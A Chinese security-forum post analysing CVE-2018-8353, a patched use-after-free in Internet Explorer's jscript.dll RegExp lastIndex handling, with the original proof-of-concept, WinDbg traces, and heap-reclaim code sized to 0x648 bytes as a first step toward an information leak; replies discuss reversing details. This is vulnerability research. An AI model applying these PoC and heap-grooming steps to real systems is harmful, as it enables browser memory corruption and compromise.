首页
社区
课程
招聘
[原创]CVE-2018-8353漏洞分析笔记
发表于: 2020-1-9 15:28 13636

[原创]CVE-2018-8353漏洞分析笔记

2020-1-9 15:28
13636

目录

前言

脚本引擎开发者在设计GC(Garbage Collect,简称GC)时追踪指针不善导致的UAF(Use-After-Free)是一类常见的漏洞,这类问题在主流脚本引擎中都比较常见,本文用一个例子来向读者介绍这类漏洞的成因与分析思路。

漏洞简介

CVE-2018-8353是谷歌的Ivan Fratric发现的一个jscript漏洞,该漏洞在20188月被修复。这是一个UAF漏洞,Ivan Fratric披露页清晰地描述了该漏洞的成因:

There is a use-after-free vulnerability in jscript.dll related to how the lastIndex property of a RegExp object is handled. This vulnerability can be exploited through Internet Explorer or potentially through WPAD over local network. The vulnerability has been reproduced on multiple Windows versions with the most recent patches applied.

The issue is that lastIndex property of a RegExp object is not tracked by the garbage collector. If you look at RegExpObj::LastIndex you'll see that, on x64, lastIndex gets stored in a VAR at offset 272 (at least in my version), but if you take a look at RegExpObj::ScavengeCore (which gets called by the garbage collector to track various member variables) you'll notice that that offset is not being tracked. This allows an attacker to set the lastIndex property, and after the garbage collector gets trigger, the corresponding variable is going to get freed.

 

通俗一点说就是RegExp类的lastIndex成员没有被加入GC追踪列表,如果给它赋值,在GC时会导致lastIndex处存储的指针变为悬垂指针。后续再访问lastIndex时,即造成一个典型的Use-After-Free场景。

 

jscript模块目前已发现多个类似漏洞,例如CVE-2017-11793CVE-2017-11903CVE-2018-0866CVE-2018-0935CVE-2018-8353CVE-2018-8653CVE-2018-8389CVE-2019-1429

 

本文试图通过CVE-2018-8353一窥这类漏洞的成因,并在此基础上分析谷歌PoC中的信息泄露利用代码。读者将会看到一个GC导致的UAF如何被转化为高质量的信息泄露漏洞。

分析环境

  • Windows 7 SP1 x86
  • Windbg
  • IDA Pro
  • jscript.dll 5.8.9600.17840 (IE11)

PoC

以下为Ivan Fratric给出的PoC,下一小节将通过该PoC分析漏洞成因。

var vars = [];
var r = new RegExp();

for(var i=0; i<20000; i++) {
    vars[i] = "aaaaa";
}

r.lastIndex = "aaaaa";

for(var i=20000; i<40000; i++) {
    vars[i] = "aaaaa";
}

vars.length = 0;
CollectGarbage();
alert(r.lastIndex);

1. UAF

@0Patch团队已通过补丁分析发现,x86lastIndex位于RegExpObj对象的+A8偏移处,如下:

 

 

现在RegExpObj::Create函数内下断点,在RegExpObj对象创建完成后,对其偏移+A8处下一个硬件写入断点,这个偏移处存储一个VAR结构体,此结构体在x86下大小为0x10。重点观察+B0处的数据变化。

 

为了更清晰地解释成因,笔者并没有开启页堆,但开启了用户模式下堆申请的栈回溯,以下为调试日志:

// jscript!RegExpObj::Create
0:014> bp jscript+32a38 "dd eax+a8 l10/4"
0:014> g
034d4ef8  00000003 00000000 00000000 034d4f3c
eax=034d4e50 ebx=05ebb800 ecx=034d4e50 edx=0000000c esi=034d3518 edi=05ebb868
eip=6c092a38 esp=05ebb7b0 ebp=05ebb7c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript!RegExpObj::Create+0x2b:
6c092a38 8903            mov     dword ptr [ebx],eax  ds:0023:05ebb800=05ebb824

// 034d4ef8位于RegExpObj对象的+0xA8处
0:014> !heap -p -a 034d4ef8
    address 034d4ef8 found in
    _HEAP @ 240000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        034d4e38 001b 0000  [00]   034d4e50    000c0 - (busy)
          jscript!RegExpObj::`vftable'
        Trace: 813c95c
        770cddac ntdll!RtlAllocateHeap+0x00000274
        771d9d45 msvcrt!malloc+0x0000008d
        771db0d7 msvcrt!operator new+0x0000001d
        6c092a25 jscript!RegExpObj::Create+0x00000018
        6c09287f jscript!RegExpFncObj::Construct+0x00000077
        6c06efb0 jscript!NameTbl::InvokeInternal+0x00000338
        6c06453c jscript!VAR::InvokeByDispID+0x00000053
        6c06f024 jscript!CScriptRuntime::Run+0x00002013
        6c0648ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
        6c064783 jscript!ScrFncObj::Call+0x0000007b
        6c064cc3 jscript!CSession::Execute+0x0000023d
        6c073677 jscript!COleScript::ExecutePendingScripts+0x0000016b
        6c0751e3 jscript!COleScript::ParseScriptTextCore+0x00000206
        6c074fc9 jscript!COleScript::ParseScriptText+0x00000029
        65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
        65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193
        65ca6669 MSHTML!CScriptData::CommitCode+0x00000370
        65ca6204 MSHTML!CScriptData::Execute+0x000002a9
        65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
        65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196
        65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d
        659e60f8 MSHTML!CHtmPost::Exec+0x000005d9
        65a6fc08 MSHTML!CHtmPost::Run+0x0000003d
        65a6fb6e MSHTML!PostManExecute+0x00000061
        65a7a826 MSHTML!PostManResume+0x0000007b
        65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e
        658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d
        658ede4a MSHTML!GlobalWndProc+0x000002e5
        7663c4e7 user32!InternalCallWinProc+0x00000023
        7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b
        7663cc19 user32!DispatchMessageWorker+0x0000035e
        7663cc70 user32!DispatchMessageW+0x0000000f

// 对VAR结构体偏移+0x08处下写入断点
0:014> ba w4 034d4f00 "dd 034d4ef8 l4"
0:014> g
034d4ef8  00000003 00000000 00000000 034d4f3c // 第1次命中
eax=00000003 ebx=034d4e50 ecx=00000000 edx=00000000 esi=00000000 edi=03471b38
eip=6c092cdf esp=05ebb6c8 ebp=05ebb7a0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
jscript!RegExpObj::Compile+0x26e:
6c092cdf 89b3b8000000    mov     dword ptr [ebx+0B8h],esi ds:0023:034d4f08=00000000

0:014> g
034d4ef8  00000080 00000009 087e1688 034d4f3c // 第2次命中,此时VAR内存储着一处引用
eax=00000000 ebx=034d4e50 ecx=00000001 edx=034d4850 esi=034d485c edi=034d4f04
eip=6c092381 esp=05ebb768 ebp=05ebb78c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript!RegExpObj::LastIndex+0x5f:
6c092381 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:034d4f04=034d4f3c ds:0023:034d485c=05ebb8f0

// 解引用,发现存储着一个字符串类型的VAR
0:014> dd 087e1688 l4
087e1688  00000082 00000000 034d5b50 03480c28

// 存储的正是之前写入的字符串
0:014> du 034d5b50 
034d5b50  "aaaaa"

// 查看VAR所位于的堆申请信息
0:014> !heap -p -a 087e1688 
    address 087e1688 found in
    _HEAP @ 240000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        087e1118 00d1 0000  [00]   087e1130    00648 - (busy)
        Trace: 813d988
        770cddac ntdll!RtlAllocateHeap+0x00000274
        771d9d45 msvcrt!malloc+0x0000008d
        771db0d7 msvcrt!operator new+0x0000001d
        6c06f639 jscript!GcBlockFactory::PblkAlloc+0x00000031
        6c0648ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
        6c064783 jscript!ScrFncObj::Call+0x0000007b
        6c064cc3 jscript!CSession::Execute+0x0000023d
        6c073677 jscript!COleScript::ExecutePendingScripts+0x0000016b
        6c0751e3 jscript!COleScript::ParseScriptTextCore+0x00000206
        6c074fc9 jscript!COleScript::ParseScriptText+0x00000029
        65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
        65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193
        65ca6669 MSHTML!CScriptData::CommitCode+0x00000370
        65ca6204 MSHTML!CScriptData::Execute+0x000002a9
        65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
        65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196
        65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d
        659e60f8 MSHTML!CHtmPost::Exec+0x000005d9
        65a6fc08 MSHTML!CHtmPost::Run+0x0000003d
        65a6fb6e MSHTML!PostManExecute+0x00000061
        65a7a826 MSHTML!PostManResume+0x0000007b
        65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e
        658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d
        658ede4a MSHTML!GlobalWndProc+0x000002e5
        7663c4e7 user32!InternalCallWinProc+0x00000023
        7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b
        7663cc19 user32!DispatchMessageWorker+0x0000035e
        7663cc70 user32!DispatchMessageW+0x0000000f
        683cf7c8 IEFRAME!DllCanUnloadNow+0x00007e48
        6851f738 IEFRAME!SetQueryNetSessionCount+0x00000eb8
        764be61c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
        72043991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094

// GC后再次访问lastIndex成员,触发访问违例
0:014> g
(bbc.47c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000008f ebx=087e1688 ecx=00000000 edx=00000001 esi=05ebb834 edi=034d4860
eip=6c067082 esp=05ebb7b0 ebp=05ebb7e4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
jscript!PrepareInvoke+0x133:
6c067082 663903          cmp     word ptr [ebx],ax        ds:0023:087e1688=????

// RegExpObj.lastIndex处的指针未被GC清扫
0:014> dd 034d4ef8 l4
034d4ef8  00000080 00000009 087e1688 05ebb8f0

// 原先存储字符串VAR的地方此时已经被free
0:014> !heap -p -a 087e1688
    address 087e1688 found in
    _HEAP @ 240000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        087dc290 1002 0000  [00]   087dc298    08008 - (free)

2. 重占位

到这里已经获得一个非常好的UAF,接下来的问题是:如何使用它?

 

从调试日志中可以看出,用来存储VAR变量的内存块是从GcBlockFactory::PblkAlloc申请的,x86下其申请大小固定为0x648(这篇文章有解释为什么x86下这个大小是0x648):

 

 

如果要重用被释放的内存,得在GC后迅速用大小为0x648的内存申请去占用之。如何做到?

 

一个比较好的方法是借助NameListjscript对象在创建成员变量时,如果成员变量的名称过长(谷歌的文章中说这个长度阈值为4),会在NameList::FCreateVval函数内单独申请内存,以存储对应的成员变量,并且会以第一个成员名称的长度去申请特定大小的内存,而相关计算公式是固定的。

 

 

通过逆向调试,可以得到x86下的计算公式:

alloc_size = (2x + 0x32) * 2 + 4 // x为类对象第一个自定义成员名长度,完全可控

现在,令alloc_size=0x648,解上述方程,可得到x=0x178(0n376)。于是可以通过下面的代码重用被释放的内存:

// makes NameList allocation of exactly 0x648 bytes
var name1 = Array(377).join('a');

for(var i=0; i<500; i++) {
    var o = {};
    objects[i] = o;
}

// allocate NameList blocks over freed allocations
for(var i=0; i<500; i++) {
    objects[i][name1] = 1;
}

在调试器中观察验证重用:

0:014> g
037751a0  00000080 00000000 0a4efa18 00000000
eax=00000000 ebx=037750f8 ecx=00000001 edx=03755000 esi=0375500c edi=037751ac
eip=6dc42381 esp=062fb250 ebp=062fb274 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
jscript!RegExpObj::LastIndex+0x5f:
6dc42381 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:037751ac=00000000 ds:0023:0375500c=00000000

0:014> !heap -p -a 0a4efa18 
    address 0a4efa18 found in
    _HEAP @ 20000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0a4ef628 00d1 0000  [00]   0a4ef640    00648 - (busy)
        Trace: 86b6c38
        770cddac ntdll!RtlAllocateHeap+0x00000274
        771d9d45 msvcrt!malloc+0x0000008d
        771db0d7 msvcrt!operator new+0x0000001d
        6dc1f639 jscript!GcBlockFactory::PblkAlloc+0x00000031 <- 此时为VARs所用的内存
        6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
        6dc14783 jscript!ScrFncObj::Call+0x0000007b
        6dc14688 jscript!NameTbl::InvokeInternal+0x000002cb
        6dc1453c jscript!VAR::InvokeByDispID+0x00000053
        6dc144a7 jscript!CScriptRuntime::Run+0x000012b9
        6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
        6dc14783 jscript!ScrFncObj::Call+0x0000007b
        6dc14cc3 jscript!CSession::Execute+0x0000023d
        6dc23677 jscript!COleScript::ExecutePendingScripts+0x0000016b
        6dc251e3 jscript!COleScript::ParseScriptTextCore+0x00000206
        6dc24fc9 jscript!COleScript::ParseScriptText+0x00000029
        65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
        65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193
        65ca6669 MSHTML!CScriptData::CommitCode+0x00000370
        65ca6204 MSHTML!CScriptData::Execute+0x000002a9
        65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
        65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196
        65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d
        659e60f8 MSHTML!CHtmPost::Exec+0x000005d9
        65a6fc08 MSHTML!CHtmPost::Run+0x0000003d
        65a6fb6e MSHTML!PostManExecute+0x00000061
        65a7a826 MSHTML!PostManResume+0x0000007b
        65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e
        658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d
        658ede4a MSHTML!GlobalWndProc+0x000002e5
        7663c4e7 user32!InternalCallWinProc+0x00000023
        7663c5e7 user32!UserCallWinProcCheckWow+0x0000014b
        7663cc19 user32!DispatchMessageWorker+0x0000035e

0:014> g
(fd4.1dc): Break instruction exception - code 80000003 (first chance)
eax=7ff94000 ebx=00000000 ecx=00000000 edx=770ef1d3 esi=00000000 edi=00000000
eip=77084108 esp=08a3fc34 ebp=08a3fc60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77084108 cc              int     3
0:023> !heap -p -a 0a4efa18 
    address 0a4efa18 found in
    _HEAP @ 20000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0a4ef628 00d1 0000  [00]   0a4ef630    00680 - (free) // GC后这块内存被回收

0:023> g
(fd4.6e8): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000000 ecx=00000000 edx=770ef1d3 esi=00000000 edi=00000000
eip=77084108 esp=089efb9c ebp=089efbc8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77084108 cc              int     3

0:002> !heap -p -a 0a4efa18 
    address 0a4efa18 found in
    _HEAP @ 20000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0a4ef628 00d1 0000  [00]   0a4ef640    00648 - (busy)
        Trace: 4c96e30
        770cddac ntdll!RtlAllocateHeap+0x00000274
        771d9d45 msvcrt!malloc+0x0000008d
        6dc1971b jscript!NameList::FCreateVval+0x0000018d <- 重占位变为Namelist申请的内存
        6dc19769 jscript!NameTbl::CreateVval+0x00000023
        6dc2c8c6 jscript!NameTbl::SetVal+0x00000057
        6dc2d5b5 jscript!VAR::InvokeByName+0x0000077f
        6dc32cd6 jscript!VAR::InvokeByVar+0x00000120
        6dc2eae0 jscript!CScriptRuntime::Run+0x00001d33
        6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
        6dc14783 jscript!ScrFncObj::Call+0x0000007b
        6dc14688 jscript!NameTbl::InvokeInternal+0x000002cb
        6dc1453c jscript!VAR::InvokeByDispID+0x00000053
        6dc144a7 jscript!CScriptRuntime::Run+0x000012b9
        6dc148ff jscript!ScrFncObj::CallWithFrameOnStack+0x0000015f
        6dc14783 jscript!ScrFncObj::Call+0x0000007b
        6dc14cc3 jscript!CSession::Execute+0x0000023d
        6dc23677 jscript!COleScript::ExecutePendingScripts+0x0000016b
        6dc251e3 jscript!COleScript::ParseScriptTextCore+0x00000206
        6dc24fc9 jscript!COleScript::ParseScriptText+0x00000029
        65ca58a5 MSHTML!CActiveScriptHolder::ParseScriptText+0x00000051
        65fb25ae MSHTML!CScriptCollection::ParseScriptText+0x00000193
        65ca6669 MSHTML!CScriptData::CommitCode+0x00000370
        65ca6204 MSHTML!CScriptData::Execute+0x000002a9
        65ca6ca4 MSHTML!CHtmScriptParseCtx::Execute+0x00000130
        65ab2c60 MSHTML!CHtmParseBase::Execute+0x00000196
        65dc246c MSHTML!CHtmPost::Broadcast+0x0000007d
        659e60f8 MSHTML!CHtmPost::Exec+0x000005d9
        65a6fc08 MSHTML!CHtmPost::Run+0x0000003d
        65a6fb6e MSHTML!PostManExecute+0x00000061
        65a7a826 MSHTML!PostManResume+0x0000007b
        65a64027 MSHTML!CDwnChan::OnMethodCall+0x0000003e
        658ee541 MSHTML!GlobalWndOnMethodCall+0x0000016d

// 相关内存已变为可控数据
0:002> dc 0a4ef640
0a4ef640  00000000 03750003 0000270e 00000001  ......u..'......
0a4ef650  00000000 00000000 00000000 d2a7c4b8  ................
0a4ef660  000002f0 00000000 00000000 00000001  ................
0a4ef670  0375350c 00610061 00610061 00610061  .5u.a.a.a.a.a.a.
0a4ef680  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0a4ef690  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0a4ef6a0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.
0a4ef6b0  00610061 00610061 00610061 00610061  a.a.a.a.a.a.a.a.

3. 从UAF到信息泄露

前一小节已经在合适的时机控制了被Free的内存,接下来要通过这个UAF漏洞实现信息泄露,以得到被重用内存的起始地址。

NameList::FCreateVval

NameList::FCreateVval函数内在申请成员变量名内存时,若成员名长度超过一定值,就会额外申请内存去存储这些名称。第一个成员名可以用来控制申请的内存大小,相关计算过程已经在前面说明。后面的成员名称只要长度合适,就可以在第一个成员名称初始化时申请的内存中使用剩余的部分,从而用来布控内存。


[注意]看雪招聘,专注安全领域的专业人才平台!

最后于 2020-7-27 15:10 被银雁冰编辑 ,原因:
收藏
免费 5
支持
分享
最新回复 (7)
雪    币:
活跃值: (94)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
Mark
2020-1-9 21:19
0
雪    币: 508
活跃值: (2393)
能力值: ( LV12,RANK:356 )
在线值:
发帖
回帖
粉丝
3
跟着大佬的脚步学习
2020-1-10 09:56
0
雪    币: 35662
活跃值: (64596)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
4
感谢分享!
2020-1-11 15:55
0
雪    币: 5317
活跃值: (3443)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
5
支持,调试此类漏洞比较捉急的是WinDbg和IDA经常下不到符号。
2020-1-15 16:25
0
雪    币: 192
活跃值: (136)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6

逆向NameList::FCreateVval函数,图片上的解释是存在错误的,计算v12的+4是因为申请的内存的第一个dword会指向上一次申请内存的地址,offset_next是向后(扩大)4字节对齐。

最后于 2020-7-27 09:38 被ty1337编辑 ,原因: 增加图片
2020-7-26 20:48
0
雪    币: 9662
活跃值: (4603)
能力值: ( LV15,RANK:800 )
在线值:
发帖
回帖
粉丝
7
ty1337 逆向NameList::FCreateVval函数,图片上的解释是存在错误的,计算v12的+4是因为申请的内存的第一个dword会指向上一次申请内存的地址,offset_next是向后(扩大)4字节对 ...

我检查了一下,你是对的,~(~(v10 + 3) | 3语句的作用是按4字节补齐,感谢指出错误。不过我在win7/win10 x86下都调试确认了一下,从代码设计来看,namelist+0xC的地方会保存当前申请得到的内存基址,下次会接着取出NameList对象这个地方的指针。然而每次初始化第一个成员时,进入NameList::FCreateVval函数传入的都是一个新的NameList对象,其+0xC处为0,所以每次malloc得到地址并初始化后,起始4字节都为0,在这份利用代码中并不会出现一个指向上次申请地址的指针。

最后于 2020-7-27 15:04 被银雁冰编辑 ,原因:
2020-7-27 14:19
0
雪    币: 192
活跃值: (136)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
银雁冰 ty1337 逆向NameList::FCreateVval函数,图片上的解释是存在错误的,计算v12的+4是因为申请的内存的第一个dword会指向上一次申请内存 ...

嗯,利用代码中确实不存在,可以用下面这段代码来观察

	var name1 = Array(377).join('a');
	var name2 = 'bbbbbbbbbbb';
	var obj = {};
	alert('1');
	obj[name2] = 1;
	obj[name1] = 1;
2020-7-27 19:57
0
游客
登录 | 注册 方可回帖
返回